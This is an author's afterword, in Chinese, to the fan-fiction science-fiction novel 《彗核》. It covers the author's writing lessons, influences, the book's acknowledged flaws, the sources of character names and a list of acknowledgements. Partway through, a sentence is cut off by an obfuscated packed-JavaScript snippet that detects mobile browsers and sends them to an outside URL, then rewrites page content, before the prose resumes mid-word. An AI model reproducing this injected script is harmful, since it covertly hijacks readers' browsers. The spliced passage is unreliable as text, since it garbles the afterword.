如果像一般的科幻写手一样,有一个点子,就想写成短篇去投稿获得收益,那么就要为每一个故事编一个世界观,编一套新的剧情,编人物。但其实哪怕是一个短篇,也不一定是一个单独的点子就能撑得起来的,还需要对世界观、人物和剧情的比例有相当敏感的把控才能使这个短篇看上去不至于是前一半都在讲设定,后面才敷衍地加个剧情然后草草结束。举个例子,科幻新手最常见写出来的东西是一个人站在文明遗迹前,叭叭叭介绍一大堆遗迹的历史(推到全文进度的1/2-2/3),然后这个人才说自己是文明的什么人,为什么要回来这里。结果是他也要追随或者突然发现这个遗迹是假的。然后这个故事就结束了。这不是一个故事,这只是一个场景。但是如果这个作者三番五次觉得很好的点子,写出来的都是这么些玩意,获得的是“你写的什么垃圾”这类评价,那他肯定会根本不知道问题出现在哪里,会觉得自己那么新的点子怎么大家都看不上,科幻创作好无聊。就算即使有人点出来是剧情的问题,他每次都要思考新的背景,新的人物关系,这工作量是非常大的。我就不说个别天才,只说自己,如果按这种普遍推荐的从短篇写起的写法,我几乎不可能学会怎么把人物的逻辑盘顺,怎么让他们不扁平化,进步是远远没有我用长篇来训练快的。但是写《彗核》让我学会了。《彗核》的体量有足够的空间,让我去琢磨人物在不同场景和不同新信息之下,怎么产生合理的变化。等到我现在正式准备进入原创科幻创作,我就是有准备的,不再是从世界观剧情点子零基础开始的人。 都喜欢谈收益,那就谈谈《彗核》对我的收益。由于《彗核》对我的故事呈现能力的训练,第二次投原创科幻短篇稿《动物园》就获了个小奖,而且获得的评价是“虽然笔法尚稚嫩,但是讨论点够老辣”。后面多次投科幻短篇稿,几乎都有获奖或者有杂志肯收。唯一存在的问题是长篇转短篇的写作节奏问题,经常会导致在短篇中看起来“剧情平淡”。这是后面我还需要解决的方向,其实35章开始已经有朝短篇节奏发展的趋势了,明显可以看出,过分的探讨和描写在有意识地去除,所以35章开始,会发现节奏似乎突然快了起来,后面的推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706317|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进快得超出预期。我以为36、37还会分节,但事实上,没有分节就完成了作品。 我也试过像他们那种集中训练短篇的做法,参与过一期川大的科幻写作连环赛,结果到最后两期,我完全是咬着牙去逼自己榨点子榨故事,那种脑子被榨干,元气大损的感觉现在都记忆犹新。所以才确定了这种方式,至少是不适合我的。 而且我尤其需要感谢一部作品:程序猎人的《起源:变形金刚超前传》。这是一部相当优秀的同人,点子、剧情都很出色,除了是个同人,毫不逊色于经典科幻作品。不得不说我写《彗核》那么认真,有相当的比例是受《起源》的影响。当时我看到《起源》后大受鼓舞,觉得他都能那么认真写一个那么精彩的同人故事,我的同人也可以。《彗核》的“超空间基地”设定就致敬了《起源》里古怪老发现的地下亚智慧种群迷宫世界。程序猎人写《起源》还专门写过程序去计算文里面的相关参数,我都达不到他的水平,只能通过查阅或者简单的初高中计算来算个大概数。尤其是后来写再版后,偶然在TFg2网站上看到《起源》居然也有初版,他的初版和再版同样是飞跃的进步,更是大大激励了我要写好这个故事。就有种这个世界不是我一个人在写初版和再版,不是我一个人在战斗的感觉。还有JR的TF同人《Eugenesis》曾经也在国内贴吧上有汉化版,也是脑洞大开,非常优秀,令人惊叹于那些看起来普通正经的角色,虽然表现很离谱,但是放在文里完全是合理的。JR貌似就是因为这部作品,从同人写手直接转正成了IDW的编剧。哎,迪士尼你们什么时候学学孩之宝,太清高了不利于团结人民群众。(可能人家钱够多就是不需要瞧得起观众吧) 我在写再版早期的时候,是不太清楚如何分章节的。很大的精力都放在了怎么去思考接下来的剧情上,但还好早期的剧情比较简单,分节和分镜都比较好处理。后来是看了一些日番,比如EVA,比如JOJO之后,慢慢决定要把《彗核》形成一部看起来像日番一样的作品,所以要让读者看着文字也能看到番剧一样,里面有丰富的色彩,有画面转换,有人物动作神态,有对话,还要有文字作品特有的、其他媒介暂时没法呈现的人物心路历程。 写作的时候经常会卡住,到15章以后,我经常是隔好几个月才能动笔开写,一写又总是在各种地方停滞,写不下去了,所以这作品的完成时长是远远超出了我的预期的。但我也在一直阅读其他科幻作品,从其他作品中学习不同内容的创作手法,几乎大学期间看过的每部科幻小说,都为《彗核》添砖加瓦过。比如心路历程,我本来觉得特别难呈现,但是《沙丘》在这方面非常出色,我在一定程度上模仿了些它的笔法。后期为了让情节变得跌宕起伏,学习了《银河英雄传说》的写作风格。 创作停滞期间,我也不断思考过,我是不是应该继续把《彗核》写完。如果一开始我把它当成角色代入式的情感寄托,当成孤独中与剧中人物相陪伴,后期由于个人的经历变化,不再需要通过作品来承接个人情绪。到了27以后,因为最初改文的打算,关键矛盾的bug已经被修复,更是感到推进举步维艰。后面的剧情,几乎完全是要完成一个东西,而成为了彻底的写作训练工具。29-33是我觉得推进最困难的时期,就这五章拖了两年。但我仍然决定必须尽快完成它,其实是有个压力,就是我很明显感到,再不写,我的心态就会变得不适合写它。 忘了在哪章,可能在24的时候,写过Author’s Notes,就是提到之前上的科幻写作培训讲座里,科幻作家顾适说过的一句话:“不要害怕写不好,因为可能过了这段时期,就再也写不出这个时期特有的作品了”。《彗核》明显是我的初期作品,即使是再版,很多想法仍然很稚嫩。我在20章的时候已经逐渐因为写作的速度下降,开始感到这部作品慢慢变得陌生,难以代入到角色的状态中去。变陌生是很危险的事情,因为其一会让在上面花心思写作的动力下降,其二是如果我再拖,真的就再也代入不了角色,也就写不下去了。而放弃一个作品是非常不好的,我以前评文有个习惯,一个文,前期写得再好,要是没有结束,我甚至评都不会评,最多给个“写挺好期待下一章”这样。没有完成比完成得烂还糟糕。其三对于读者而言,阅读体验会大幅下降。前期这样写,后期怎么变得那么敷衍了,这同样也是很危险的。 所以后期写《彗核》就是趁自己还能理解和代入文中角色的时候,抓紧就着那股劲写完,后面我再写别的作品,很可能再也不会很深地代入,去思考ta会怎么思考,也就很难写出ta详细的人格变化,而就像其他科幻作品那样,角色比较如一没有多大变化。这种写法,只会定格在我的特定时期的特定作品里。也就让《彗核》变得独特、唯一。 《彗核》也是有很多BUG的。比如一开始的飞船科技断层,明明有高科技的东西却只会用低科技种地,很符合电影结尾,但是单拎出来从科幻设定上看十分怪异,科幻作家萧星寒看过14之后,就吐槽过满地的玉米,又有飞船,观感太像星际穿越。还有一些小的点,比如之前看不到全球情况,我设定为全球变暖导致云量变多,无法观测到地面情况,当时是借鉴了金星的情况。但实际上最新的资料表明全球变暖可能会导致云量减少。提示金星的全球变暖原因与地球有巨大差异。还有汉用能束枪射穿了AUTO的电池舱,高能的东西接触到电池液居然没烧起来爆炸,他居然只是漏液,简直就是个奇迹。 写到这里也差不多都说完了。《彗核》不可能再拿出来改成第三版了,这就是最终版,让它保留它的缺陷,同时也忠实地记录青春时期的思维和写作技法。我也应该和过去的时期说再见,投入到新的挑战中去。也感谢看到这里的各位读者,感谢对本作品的大力支持与容纳,祝愿你们也最终找到各自的追求与目标,走上理想的人生之路。在漫漫长路上,你们不是孤独一人。 当前作品开放有奖评论活动。评论200字可得《彗核》明信片和亚克力牌奖品。具体的活动须知可以在知乎找到。本站的号不常上,如果不能及时回复,请耐心等待,或者在其他地方找我。(目前在LOF和知乎上较为活跃,号会上得勤一点。本站相当于文本备份) 文中元素和人名的梗 QT病毒:《我,机器人》中《理性》一文中的QT型号机器人。叶李华译本称为“小可爱”。 全息投影(Hologram):借鉴《变形金刚》MTMTE里全息投影的生成模式,可自选形象,也可结合性格人设生成。 超空间基地:名称来自阿西莫夫《消失无踪》基地名,设定致敬《起源:变形金刚超前传》内的地下亚智慧种群迷宫世界。 汉·肯特(Han Kent):取自《星球大战》汉·索罗船长以及《钢穴》汉·法斯托夫博士。 阿莱茜丝(Alexis):A版变形金刚《Armada》中女孩名。 欧罗拉(Aurora):《曙光中的机器人》第一颗殖民的外世界星球,意为“极光”,“曙光”。 德卡德(Deckard):《银翼杀手》警探名。 露丝(Ruth):取自《天崩地裂》(Dante’s Peak)里那个巨顽固的老太。 劳伦斯(Laurence):取自《我,机器人》里USR公司创始人劳伦斯·罗伯森。 弗洛伊德(Floyd):取自《2010太空漫游》美国航天局官员。 苏利文(Sullivan):没错,就是《怪物公司》那个蓝色毛怪。 特纳(Turner):学遗传学时考过的特纳综合征,这名字朗朗上口的归我了。 其他人名 格兰德(Grande):意为“大,伟大” 船名:CONST:VisioBasic中“常量”代指。 科林(Colin):船名开头起名,借鉴了2805世界观。 西芮安(Sirion):衍生自Sirius,天狼星。奥托的类人假名(外观希腊女性,短发,铜色皮肤)。 梅(May):英国“五月花”号船以及5号代称。 致谢 艾萨克·阿西莫夫《机器人系列》(包括《我,机器人》《机器人全集》《钢穴》《裸阳》《曙光中的机器人》《机器人与帝国》) 阿瑟·克拉克《太空漫游》四部曲 程序猎人《起源:变形金刚超前传》 James Roberts《Eugenesis》(中文翻译《生育战争》) 刘慈欣《三体》三部曲 天瑞说符《死在火星上》 田中芳树《银河英雄传说》 弗兰克·赫伯特《沙丘》 克里斯托弗·诺兰《星际穿越》 加里斯·爱德华斯《星球大战:侠盗一号》 庵野秀明《新世纪福音战士》 荒木飞吕彦《JOJO的奇妙冒险》 《攻壳机动队》系列(包括押井守《攻壳机动队》1995,《攻壳机动队:无罪》,《攻壳机动队:Stand Aloneplex》S1S2S3) 亚当·麦凯《不要抬头》 Paradox《群星》(Stellaris) 《星球大战》(《彗核》初版鸣谢) 洪汉净《火山预测与预警》 史蒂芬·霍金《果壳中的宇宙》 肖天亮《战略学》 沼田康博《畅销的故事,热门的角色》 第九版《内科学》 第八版《病理学》 刘佳《普通心理学》 第四版《个性心理学》 赵静波《心理咨询与治疗学》 郭召良《认知行为疗法入门》 罗露露. 青年乳腺癌晚期患者临终关怀个案工作实务研究【D】.井冈山大学,2022. Bilibili Linvo说宇宙《俗说量子》、《俗说宇宙》 以及看到这里的所有读者们